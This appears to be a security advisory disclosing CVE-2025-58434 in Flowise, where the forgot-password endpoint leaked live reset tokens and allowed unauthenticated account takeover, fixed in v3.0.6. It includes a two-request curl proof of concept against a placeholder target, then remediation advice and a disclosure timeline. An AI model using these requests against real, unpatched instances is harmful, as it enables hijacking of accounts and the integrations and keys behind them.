TL;DR
Account takeover across Flowise Cloud & local installs
- Impact:Complete account takeover (ATO) with no authentication.
- Root Cause:
forgot-passwordAPI leaked live reset tokens. - Surface:Flowise Cloud (SaaS) and any self-hosted instance.
- Status:Fixed in v3.0.6 with coordinated disclosure.
Summary
Flowise exposes a public password-reset endpoint at /api/v1/account/forgot-password. Instead of issuing a confirmation email, the API responded with a fully hydrated user object, including a valid password reset tempToken. An attacker only needed a target email address to request the token and immediately reset the victim's password via /api/v1/account/reset-password.
The bug affected both the hosted cloud environment and any community deployment that exposed these routes. Because Flowise often powers customer-facing automation, compromise of a single account could expose integrations, API keys, prompt libraries, and downstream systems.
Proof of Concept
The attack requires two requests. First, trigger the password reset flow for any email. The response contains the temporary token. Then, immediately reset the password using that token—no mailbox access, user confirmation, or prior authentication required.
curl -i -X POST https://<target>/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user":{"email":"<victim@example.com>"}}'
# Response excerpt (201 Created)
{
"user": {
"id": "<redacted-uuid>",
"email": "<victim@example.com>",
"tempToken": "<redacted-tempToken>",
"tokenExpiry": "2025-08-19T13:00:33.834Z"
}
}curl -i -X POST https://<target>/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{
"user":{
"email":"<victim@example.com>",
"tempToken":"<redacted-tempToken>",
"password":"NewSecurePassword123!"
}
}'Remediation Guidance
- Send reset tokens exclusively through the registered email channel—never return them in API responses.
- Harden
forgot-passwordto respond generically and avoid user/email enumeration. - Scope tokens to a single request, enforce short expiries, and bind them to the requesting IP/device when feasible.
- Mirror fixes in both cloud and on-premise deployments, and advise customers to upgrade to Flowise v3.0.6 or later.
- Instrument logging for anomalous reset traffic; alert on bulk or repeated requests per account.
- Consider MFA or stepped-up verification for administrative or high-value accounts.
Credits & Timeline
Vulnerability discovered by BugBunny.ai researchers and reported to Flowise under responsible disclosure. Flowise acknowledged the issue, issued patch v3.0.6, and coordinated CVE-2025-58434 alongside our team.